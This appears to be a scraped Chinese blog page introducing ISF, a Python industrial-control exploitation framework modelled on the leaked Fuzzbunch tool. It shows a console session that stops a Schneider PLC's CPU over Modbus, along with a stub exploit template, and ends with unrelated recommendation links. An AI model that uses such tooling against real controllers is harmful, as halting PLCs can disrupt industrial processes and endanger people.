一、框架介绍

本框架主要使用Python语言开发,通过集成ShadowBroker释放的NSA工具Fuzzbunch攻击框架,开发一款适合工控漏洞利用的框架。由于Fuzzbunch攻击框架仅适用于Python2.6,很多核心的功能都封装成了DLL,通过函数进行调用,不便于后期的移植和使用。但是,Fuzzbunch的命令行使用的确很方便,而且够傻瓜,所以就有集成一个适合工控漏洞利用的框架想法。新框架对主要的接口使用Python重新实现,所以支持Python2.X版本。

肯定会有人问,有牛逼的MSF,搞这个玩竟儿有什么用?主要基于如下几点考虑

MSF命令行使用不够傻瓜,纯属个人观点,仅供参考。

工控的很多私用协议都使用Python开发,有很多优秀的Python框架(如scapy、kitty),集成在MSF很麻烦,有一个Python的框架会方便很多。

最主要的一个原因是,从事工控安全以来,本人一直在使用Python,很多脚本都是基于Python开发的,想将手上所有的资源进行整合,提供一个统一的平台,方便。

二、框架使用

进入目录,执行如下命令:

python main.py

界面显示如下:

D:\isf\isf>python main.py

???

???????????????

????? ?????

???? ????

???? ????

??? ???

??? ?? ???

??? ???????? ???

??? ??????????? ???

??? ????????????? ???

?? ??????????????? ??

?? ????????????????? ??

?? ?????? ????? ??

?? ??????????? ??

?? ??????????? ??

?? ????????? ??

??? ??????? ???

??? ????? ???

??? ??????????? ???

??? ????????????????? ???

??? ???????????????????? ???

?????????????????????????????

???????????????????????????

?????????????????????

---ICSMASTER---

+ - - - - - + [ Version 1.1.1 ] + - - - - - +

+ - - - - - + [ MADE BY ICSMASTER. HTTP://ICSMASTER.COM ] + - - - - - +

[*] Loading Plugins

[*] Initializing isf v1.1.1

[*] Adding Global Variables

[+] Set ResourcesDir =>. c:\isf\Resources

[+] Set Color =>. True

[+] Set ShowHiddenParameters =>. False

[+] Set NetworkTimeout =>. 60

[+] Set LogDir =>. D:\isf\isf\logs

[*] Autorun ON

Exploit Autorun List

====================

0) apply

1) touch all

2) prompt confirm

3) execute

Payload Autorun List

====================

0) apply

1) prompt confirm

2) execute

[+] Set ISFStorage =>. D:\isf\isf\storage

isf >

show命令使用,显示当前所有的插件,如下所示

isf > show

Plugin Categories

=================

Category Active Plugin

-------- -------------

Exploit None

Payload None

isf > show Exploit

Plugin Category: Exploit

========================

Name Version

---- -------

Schneider_CPU_Command 1.1.0

Siemens_300_400_CPU_Control 1.1.0

use命令使用,调用相关插件,并根据命令行提示配置参数,如下所示

isf > use Schneider_CPU_Command

[!] Entering Plugin Context :: Schneider_CPU_Command

[*] Applying Global Variables

[*] Applying Session Parameters

[*] Running Exploit Touches

[!] Enter Prompt Mode :: Schneider_CPU_Command

Module: Schneider_CPU_Command

=============================

Name Value

---- -----

TargetIp

TargetPort 502

Command stop

[!] plugin variables are valid

[?] Prompt For Variable Settings? [Yes] :

[*] TargetIp :: Target IP Address

[?] TargetIp [] : 192.168.1.30

[+] Set TargetIp => 192.168.1.30

[*] TargetPort :: Target Port

[?] TargetPort [502] :

[+] Set TargetPort => 502

[*] Command :: The control command of cpu [stop/start]

[?] Command [stop] :

[+] Set Command => stop

[!] Preparing to Execute Schneider_CPU_Command

Module: Schneider_CPU_Command

=============================

Name Value

---- -----

TargetIp 192.168.1.30

TargetPort 502

Command stop

[?] Execute Plugin? [Yes] :

[*] Executing Plugin

logging to file

[+] Schneider_CPU_Command Succeeded

三、EXP编写

编写一个EXP需要包含两个文件,一个参数描述性的文件 *.xml 和 一个漏洞脚本文件 *.py,两个文件的名字需要相同,xml定义输入输出的参数的基本信息,如下所示,EXP需要三个参数,分别是TargetIp、TargetPort、Command。注意:XML文件中 name 字段不能重复。

name="Schneider_CPU_Command"

version="1.1.0"

configversion="1.1.0.0"

xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'

xmlns:t='tc0'>

description="Target IP Address"

type="IPv4"/>

description="Target Port"

type="TcpPort"

default="502"/>

description="The control command of cpu [stop/start]"

type="String"

default="stop"/>

漏洞利用脚本编写方法如下,如果不清楚可以直接拷贝如下模板进行修改

1、继承基础类 BaseExploit

2、填写POC基础信息 pocinfo

3、注册命令行,向register_options变量增加make_option对象即可,注意参数名称需要与xml文件保持一致

4、实现exploit函数

#!/usr/bin/env python

# coding=utf-8

from core.exploit import *

class MyPoc(BaseExploit):

pocinfo = {

'ID': 'ICF-2017-000001',

'Name': '施耐德昆腾140系列PLC CPU控制',

'Author': 'w3h',

'Create_Date': '2017-04-09',

'Description': '''施耐德昆腾140系列PLC认证用户时Session使用是单比特,导致攻击者可以向PLC发送CPU控制指令。''',

'Vendor': VENDOR.SI,

'Device': ['Schneider Quantum 140'],

'App': '',

'Protocol': 'modbus',

'References': {'CVE': '', 'CNVD': '', 'OSVDB': '', 'CNNVD': ''},

'Risk': RISK.H, # H/M/L

'VulType': VULTYPE.REP

}

register_options = [

make_option('--TargetIp', action='store', dest='TargetIp',

type='string', default=None, help='The target of this poc.'),

make_option('--TargetPort', action='store', dest='TargetPort',

type='int', default=502, help='The port of this poc [default:502].'),

make_option('--Command', help='The constrol commond of cpu', dest="Command", default="stop"),

]

def exploit(self, *args, **kwargs):

cmd = self.getParam("Command")

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((self.TargetIp, self.TargetPort))

pass

# POC标准入口函数

MainEntry(MyPoc, __name__)

python工控开发框架_GitHub - hzglitter/isf: ISF(Industrial Security Framework),基于Python的工控漏洞利用框架...相关推荐

  1. python实战项目书 题库系统_Python实战视频教程_基于Python项目与面试题实例讲解(进阶训练篇)...

    课程介绍: 精选50个Python项目实战与面试容易遇到的问题作为训练任务,每个任务都先提出问题,分析问题.然后给出巧妙与高效的解决办法,最后手把手代码实战完成任务,带你全面提升python项目实战核 ...

  2. python中科院_“完全自主”的木兰编程语言回应:承认基于Python二次开发,向中科院致歉...

    晓查 发自 凹非寺 量子位 报道 | 公众号 QbitAI 国产编程语言"木兰"面对换皮质疑,现在公开回应.并道歉了. 就在近期,一家国内公司中科智芯声称开发了首个跨平台.兼容多种 ...

  3. python复制文件到另一个文件夹并重命名_基于python实现复制文件并重命名

    方法: shutil.copy("c://ccc//模板.xlsx","c://ccc//新文件.xlsx") 需求: 已知的Excel模板格式.已知的文件命名 ...

  4. python取余还是相乘_python取余还是相乘_基于python 取余问题(%)详解

    取余的公式: 余数=除数-被除数*商 python的的余数是按照整除(向下取整)得到的商来计算的. 取余问题主要分为 : 正数与正数,负数与负数,正数与负数 ,0 正数与正数 #大数/小数:因为得出的 ...

  5. python 股票竞价数据_GitHub - TruthHun/auction-stock: 集合竞价选股(股票),基于收盘价与前收盘价的选股策略...

    # coding=utf-8 from __future__ import print_function, absolute_import, unicode_literals from gm.api ...

  6. python人工智能原理及其应用_人工智能原理与实践:基于Python语言和TensorFlow

    基 础 篇 第1章 绪论 1 1.1 人工智能简介 1 1.1.1 人工智能的概念 1 1.1.2 现代人工智能的兴起 5 1.1.3 人工智能的学术流派 5 1.2 人工智能的发展历史 8 1.2. ...

  7. python文献检索工具与技巧答案_短文本分析----基于python的TF-IDF特征词标签自动化提取...

    绪论 最近做课题,需要分析短文本的标签,在短时间内学习了自然语言处理,社会标签推荐等非常时髦的技术.我们的需求非常类似于从大量短文本中获取关键词(融合社会标签和时间属性)进行用户画像.这一切的基础就是 ...

  8. python图灵机器人微信号_个人微信接入图灵机器人(基于Python)

    开发环境:Ubuntu14.04 编程语言:Python2.7 1.在图灵机器人官网(http://www.tuling123.com)注册账号,创建机器人,如果只是学习的话,可以使用免费版,一个账号 ...

  9. python快速编程入门课本中的名片管理器_基于python实现名片管理系统

    本文实例为大家分享了python实现名片管理系统的具体代码,供大家参考,具体内容如下 主程序: import cards_tools # 无限循环,由用户主动决定什么时候退出 while True: ...

最新文章

  1. 计算机弹奏两只老虎爱跳舞,原神风物之诗琴乐谱大全
  2. python中while循环_Python第12课:while循环案例 打印输出有规律的造型
  3. 【JAVA编码专题】UNICODE,GBK,UTF-8区别
  4. Spring这棵大树
  5. Spring——bean生命周期
  6. CRM管理系统、教育后台、赠品管理、优惠管理、预约管理、试听课、教师、学生、客户、学员、商品管理、科目、优惠券、完课回访、客户管理系统、收费、退费、回访、账号权限、订单流水、审批、转账、rp原型
  7. 假如你是架构师,你要做些什么
  8. StretchDIBits显示8位图问题
  9. 利用excel生成word,批量插入图片、题注、标题等格式
  10. OSPF 理论二 (赤诚善良 永远热爱)
  11. TTP223 触摸按键
  12. 用矩形法求定积分,分别求sin x dx ,cos x dx,e exp x;
  13. 局域网自己搭建服务器之DDNS(动态域名解析),基于阿里域名api+python实现
  14. python成都 培训
  15. 3dsmax-角色骨骼
  16. IntelliJ IDEA运行JAVA
  17. LuoguP1637 三元上升子序列
  18. Python|每日一练|素数对|优化算法|素数|素数对:找出素数对
  19. 手把手微信机器人部署教学
  20. POWER BI学习之EARLIER()函数

热门文章

  1. Python系列 49 内置模块:subprocess
  2. 建立一个学生数据库/表
  3. 异常检测之孤立森林算法详细解释且配上代码运行实例
  4. sql 凭证明细表 科目余额表_金碟财务软件手册——明细账 凭证汇总表 科目余额表...
  5. 学计算机的人常备哪些护眼的东西,常用电脑的人如何保护视力?
  6. word之表格如何自动换页?
  7. winform 创建窗口句柄时出错
  8. 鸿蒙轻内核源码分析:文件系统LittleFS
  9. 《数学之美》一些知识
  10. Solr DIH使用说明